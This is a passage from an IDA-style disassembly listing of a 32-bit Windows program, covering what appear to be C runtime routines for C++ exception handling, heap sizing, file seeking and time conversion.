		test	byte ptr [edi],	2
		jnz	short loc_422277


loc_422273:				; CODE XREF: sub_422220+2Fj
					; sub_422220+39j ...
		xor	eax, eax
		jmp	short loc_42227A
; ---------------------------------------------------------------------------


loc_422277:				; CODE XREF: sub_422220+Bj
					; sub_422220+14j ...
		push	1
		pop	eax


loc_42227A:				; CODE XREF: sub_422220+55j
		pop	edi
		pop	esi
		retn
sub_422220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42227D	proc near		; CODE XREF: sub_421F36+34p
					; sub_422331+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288C8
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_4222AF:				; CODE XREF: sub_42227D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422309
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4222BE
		cmp	esi, [edi+4]
		jl	short loc_4222C3


loc_4222BE:				; CODE XREF: sub_42227D+3Aj
		call	sub_4227D2


loc_4222C3:				; CODE XREF: sub_42227D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4222DE
		push	103h
		push	ebx
		push	eax
		call	sub_422730


loc_4222DE:				; CODE XREF: sub_42227D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4222FE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42231B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4222FE:				; CODE XREF: sub_42227D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_4222AF
; ---------------------------------------------------------------------------


loc_422309:				; CODE XREF: sub_42227D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42227D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42231B	proc near		; CODE XREF: sub_42227D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42232C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42232C:				; CODE XREF: sub_42231B+Cj
		jmp	sub_42277C
sub_42231B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422331	proc near		; CODE XREF: sub_421FD1+151p
					; sub_422178+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422353
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4224E2
		add	esp, 10h


loc_422353:				; CODE XREF: sub_422331+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42235F
		push	edi
		jmp	short loc_422362
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_422331+29j
		push	[ebp+arg_24]


loc_422362:				; CODE XREF: sub_422331+2Cj
		call	sub_41CAC0
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_42227D
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_4223AC
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_4223A7
		push	edi
		push	eax
		call	sub_41CA7E


loc_4223A7:				; CODE XREF: sub_422331+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223AC	proc near		; CODE XREF: sub_422331+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288D8
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_4DDF5C
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_4DDF60
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_4DDF5C, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_4DDF60, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41CB45
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422472
		mov	eax, [ebp+var_2C]


loc_422439:				; CODE XREF: sub_422452+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4223AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422448	proc near		; DATA XREF: seg001:004288E8o
		push	dword ptr [ebp-14h]
		call	sub_4224B8
		pop	ecx
		retn
sub_422448	endp


; =============== S U B	R O U T	I N E =======================================



sub_422452	proc near		; DATA XREF: seg001:004288ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CDA6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422439
sub_422452	endp

; ---------------------------------------------------------------------------


loc_42246A:				; DATA XREF: seg001:004288E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422472	proc near		; CODE XREF: sub_4223AC+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_4DDF5C, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_4DDF60, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4224B7
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4224B7
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4224B7
		cmp	[ebp-24h], ebx
		jnz	short locret_4224B7
		cmp	[ebp-2Ch], ebx
		jz	short locret_4224B7
		call	sub_41CE0E
		push	eax
		push	edi
		call	sub_4226A6
		pop	ecx
		pop	ecx

locret_4224B7:				; CODE XREF: sub_422472+1Cj
					; sub_422472+22j ...
		retn
sub_422472	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224B8	proc near		; CODE XREF: sub_422448+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4224DF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4224DF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4224DF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4224DF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4224DF:				; CODE XREF: sub_4224B8+Cj
					; sub_4224B8+12j ...
		xor	eax, eax
		retn
sub_4224B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224E2	proc near		; CODE XREF: sub_422331+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288F0
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42268B
		cmp	byte ptr [eax+8], 0
		jz	loc_42268B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42268B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42257F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4249C0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422682
		push	1
		push	edi
		call	sub_4249DC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422682
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422570:				; CODE XREF: sub_4224E2+F5j
		push	eax
		call	sub_42270D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422687
; ---------------------------------------------------------------------------


loc_42257F:				; CODE XREF: sub_4224E2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4225D9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4249C0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422682
		push	1
		push	edi
		call	sub_4249DC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422682
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CE80
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422687
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422687
		add	esi, 8
		push	esi
		jmp	short loc_422570
; ---------------------------------------------------------------------------


loc_4225D9:				; CODE XREF: sub_4224E2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422621
		call	sub_4249C0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422682
		push	1
		push	edi
		call	sub_4249DC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422682
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_42270D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CE80
		add	esp, 0Ch
		jmp	short loc_422687
; ---------------------------------------------------------------------------


loc_422621:				; CODE XREF: sub_4224E2+103j
		call	sub_4249C0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422682
		push	1
		push	edi
		call	sub_4249DC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422682
		push	dword ptr [esi+18h]
		call	near ptr loc_4249F3+5
		pop	ecx
		test	eax, eax
		jz	short loc_422682
		test	byte ptr [esi],	4
		jz	short loc_422668
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_42270D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41CAB9
		jmp	short loc_422687
; ---------------------------------------------------------------------------


loc_422668:				; CODE XREF: sub_4224E2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_42270D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41CAB2
		jmp	short loc_422687
; ---------------------------------------------------------------------------


loc_422682:				; CODE XREF: sub_4224E2+6Aj
					; sub_4224E2+7Cj ...
		call	sub_4227D2


loc_422687:				; CODE XREF: sub_4224E2+98j
					; sub_4224E2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42268B:				; CODE XREF: sub_4224E2+2Ej
					; sub_4224E2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4224E2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42277C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226A6	proc near		; CODE XREF: sub_421FD1+170p
					; sub_422472+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428900
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4226ED
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4226ED
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41CAB2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4226ED:				; CODE XREF: sub_4226A6+2Aj
					; sub_4226A6+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4226A6	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42277C

; =============== S U B	R O U T	I N E =======================================



sub_42270D	proc near		; CODE XREF: sub_4224E2+8Fp
					; sub_4224E2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42272E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42272E:				; CODE XREF: sub_42270D+12j
		pop	esi
		retn
sub_42270D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422730	proc near		; CODE XREF: sub_41CB45+40p
					; sub_42227D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CE31
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42276F
		mov	ecx, 2


loc_42276F:				; CODE XREF: sub_422730+38j
		push	ecx
		call	sub_41CE31
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422730	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42277C	proc near		; CODE XREF: sub_421FD1:loc_422173j
					; sub_42231B:loc_42232Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424A10 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428910
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_4DDF68
		test	eax, eax
		jz	short loc_4227C4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4227C0
; ---------------------------------------------------------------------------


loc_4227B9:				; DATA XREF: seg001:00428920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4227BD:				; DATA XREF: seg001:00428924o
		mov	esp, [ebp+var_18]


loc_4227C0:				; CODE XREF: sub_42277C+3Bj
		and	[ebp+var_4], 0


loc_4227C4:				; CODE XREF: sub_42277C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4227CD:				; DATA XREF: seg001:00428918o
		jmp	loc_424A10
sub_42277C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227D2	proc near		; CODE XREF: sub_41CCE7+23p
					; sub_41CCE7:loc_41CD52p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428928
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_43F554
		test	eax, eax
		jz	short loc_42281A
		mov	[ebp+var_4], 1
		call	eax ; sub_42277C
		jmp	short loc_422816
; ---------------------------------------------------------------------------


loc_42280F:				; DATA XREF: seg001:00428938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422813:				; DATA XREF: seg001:0042893Co
		mov	esp, [ebp+var_18]


loc_422816:				; CODE XREF: sub_4227D2+3Bj
		and	[ebp+var_4], 0


loc_42281A:				; CODE XREF: sub_4227D2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422823:				; DATA XREF: seg001:00428930o
		jmp	sub_42277C
sub_4227D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422828	proc near		; CODE XREF: sub_41D1C3+7p
					; sub_41D1C3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_4DF548
		push	esi
		cmp	eax, 3
		jnz	short loc_422851
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E097
		test	eax, eax
		pop	ecx
		jz	short loc_42284E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422886
; ---------------------------------------------------------------------------


loc_42284E:				; CODE XREF: sub_422828+1Cj
		push	esi
		jmp	short loc_422878
; ---------------------------------------------------------------------------


loc_422851:				; CODE XREF: sub_422828+Ej
		cmp	eax, 2
		jnz	short loc_422875
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EDF2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422875
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422886
; ---------------------------------------------------------------------------


loc_422875:				; CODE XREF: sub_422828+2Cj
					; sub_422828+43j
		push	[ebp+arg_0]


loc_422878:				; CODE XREF: sub_422828+27j
		push	0
		push	ds:dword_4DF544
		call	ds:dword_428058	; RtlSizeHeap


loc_422886:				; CODE XREF: sub_422828+24j
					; sub_422828+4Bj
		pop	esi
		leave
		retn
sub_422828	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+8]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422945
		cmp	ebx, 8Ah
		jg	loc_422945
		push	esi
		push	edi
		mov	edi, [ebp+0Ch]
		mov	esi, ds:dword_43FA1C[edi*4]
		add	esi, [ebp+10h]
		test	bl, 3
		jnz	short loc_4228C8
		cmp	edi, 2
		jle	short loc_4228C8
		inc	esi


loc_4228C8:				; CODE XREF: seg000:004228C0j
					; seg000:004228C5j
		call	sub_424A27
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp-8], esi
		add	edx, ecx
		mov	[ebp-10h], ebx
		add	eax, edx
		mov	edx, [ebp+1Ch]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+14h]
		mov	[ebp-1Ch], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+18h]
		imul	ecx, 3Ch
		add	ecx, ds:dword_43F938
		dec	edi
		cmp	dword ptr [ebp+20h], 1
		mov	[ebp-14h], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+8], ecx
		jz	short loc_42293B
		cmp	dword ptr [ebp+20h], 0FFFFFFFFh
		jnz	short loc_422941
		cmp	ds:dword_43F93C, 0
		jz	short loc_422941
		lea	eax, [ebp-24h]
		push	eax
		call	sub_424C9A
		pop	ecx
		mov	ecx, [ebp+8]
		test	eax, eax
		jz	short loc_422941


loc_42293B:				; CODE XREF: seg000:00422919j
		add	ecx, ds:dword_43F940


loc_422941:				; CODE XREF: seg000:0042291Fj
					; seg000:00422928j ...
		mov	eax, ecx
		jmp	short loc_422948
; ---------------------------------------------------------------------------


loc_422945:				; CODE XREF: seg000:0042289Cj
					; seg000:004228A8j
		or	eax, 0FFFFFFFFh


loc_422948:				; CODE XREF: seg000:00422943j
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: seg002:0042A028o
		mov	eax, ds:dword_4DF300
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42295F
		mov	eax, 200h
		jmp	short loc_422965
; ---------------------------------------------------------------------------


loc_42295F:				; CODE XREF: sub_42294B+Bj
		cmp	eax, esi
		jge	short loc_42296A
		mov	eax, esi


loc_422965:				; CODE XREF: sub_42294B+12j
		mov	ds:dword_4DF300, eax


loc_42296A:				; CODE XREF: sub_42294B+16j
		push	4
		push	eax
		call	sub_424F86
		pop	ecx
		mov	ds:dword_4DE2E4, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_42299E
		push	4
		push	esi
		mov	ds:dword_4DF300, esi
		call	sub_424F86
		pop	ecx
		mov	ds:dword_4DE2E4, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_42299E
		push	1Ah
		call	sub_41DC49
		pop	ecx


loc_42299E:				; CODE XREF: sub_42294B+30j
					; sub_42294B+49j
		xor	ecx, ecx
		mov	eax, offset off_43F558


loc_4229A5:				; CODE XREF: sub_42294B+6Ej
		mov	edx, ds:dword_4DE2E4
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43F7D8
		jl	short loc_4229A5
		xor	edx, edx
		mov	ecx, offset dword_43F568


loc_4229C2:				; CODE XREF: sub_42294B+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_4DE1E0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4229DF
		test	eax, eax
		jnz	short loc_4229E2


loc_4229DF:				; CODE XREF: sub_42294B+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4229E2:				; CODE XREF: sub_42294B+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43F5C8
		jl	short loc_4229C2
		pop	esi
		retn
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4229F0	proc near		; DATA XREF: seg002:0042A038o

; FUNCTION CHUNK AT 00425037 SIZE 00000058 BYTES

		call	sub_41DE07
		cmp	ds:byte_4DDEF4,	0
		jz	short locret_422A03
		jmp	loc_425037
; ---------------------------------------------------------------------------

locret_422A03:				; CODE XREF: sub_4229F0+Cj
		retn
sub_4229F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A04	proc near		; CODE XREF: seg000:0041D474p
					; sub_41F33C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_4DE2E0
		push	esi
		push	edi
		jnb	short loc_422A86
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DE1E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422A86
		push	eax
		call	sub_423BA6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422A48
		mov	ds:dword_4DDEB4, 9
		jmp	short loc_422A97
; ---------------------------------------------------------------------------


loc_422A48:				; CODE XREF: sub_422A04+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:dword_428120	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422A68
		call	ds:dword_42808C	; RtlGetLastWin32Error
		jmp	short loc_422A6A
; ---------------------------------------------------------------------------


loc_422A68:				; CODE XREF: sub_422A04+5Aj
		xor	eax, eax


loc_422A6A:				; CODE XREF: sub_422A04+62j
		test	eax, eax
		jz	short loc_422A77
		push	eax
		call	sub_4205FF
		pop	ecx
		jmp	short loc_422A97
; ---------------------------------------------------------------------------


loc_422A77:				; CODE XREF: sub_422A04+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422A9A
; ---------------------------------------------------------------------------


loc_422A86:				; CODE XREF: sub_422A04+Dj
					; sub_422A04+2Aj
		and	ds:dword_4DDEB8, 0
		mov	ds:dword_4DDEB4, 9


loc_422A97:				; CODE XREF: sub_422A04+42j
					; sub_422A04+71j
		or	eax, 0FFFFFFFFh


loc_422A9A:				; CODE XREF: sub_422A04+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422A04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A9E	proc near		; CODE XREF: seg000:0041D437p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422ABA
		mov	[edi+4], ebx


loc_422ABA:				; CODE XREF: sub_422A9E+17j
		push	1
		push	ebx
		push	esi
		call	sub_422A04
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_422B28
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422ADF
		sub	eax, [edi+4]
		jmp	loc_422BF1
; ---------------------------------------------------------------------------


loc_422ADF:				; CODE XREF: sub_422A9E+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422B19
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_4DE1E0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422B30
		mov	edx, ecx


loc_422B0A:				; CODE XREF: sub_422A9E+79j
		cmp	edx, eax
		jnb	short loc_422B30
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_422B16
		inc	[ebp+var_8]


loc_422B16:				; CODE XREF: sub_422A9E+73j
		inc	edx
		jmp	short loc_422B0A
; ---------------------------------------------------------------------------


loc_422B19:				; CODE XREF: sub_422A9E+50j
		test	dl, 80h
		jnz	short loc_422B30
		mov	ds:dword_4DDEB4, 16h


loc_422B28:				; CODE XREF: sub_422A9E+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422BF1
; ---------------------------------------------------------------------------


loc_422B30:				; CODE XREF: sub_422A9E+68j
					; sub_422A9E+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422B3E
		mov	eax, [ebp+var_8]
		jmp	loc_422BF1
; ---------------------------------------------------------------------------


loc_422B3E:				; CODE XREF: sub_422A9E+96j
		test	byte ptr [edi+0Ch], 1
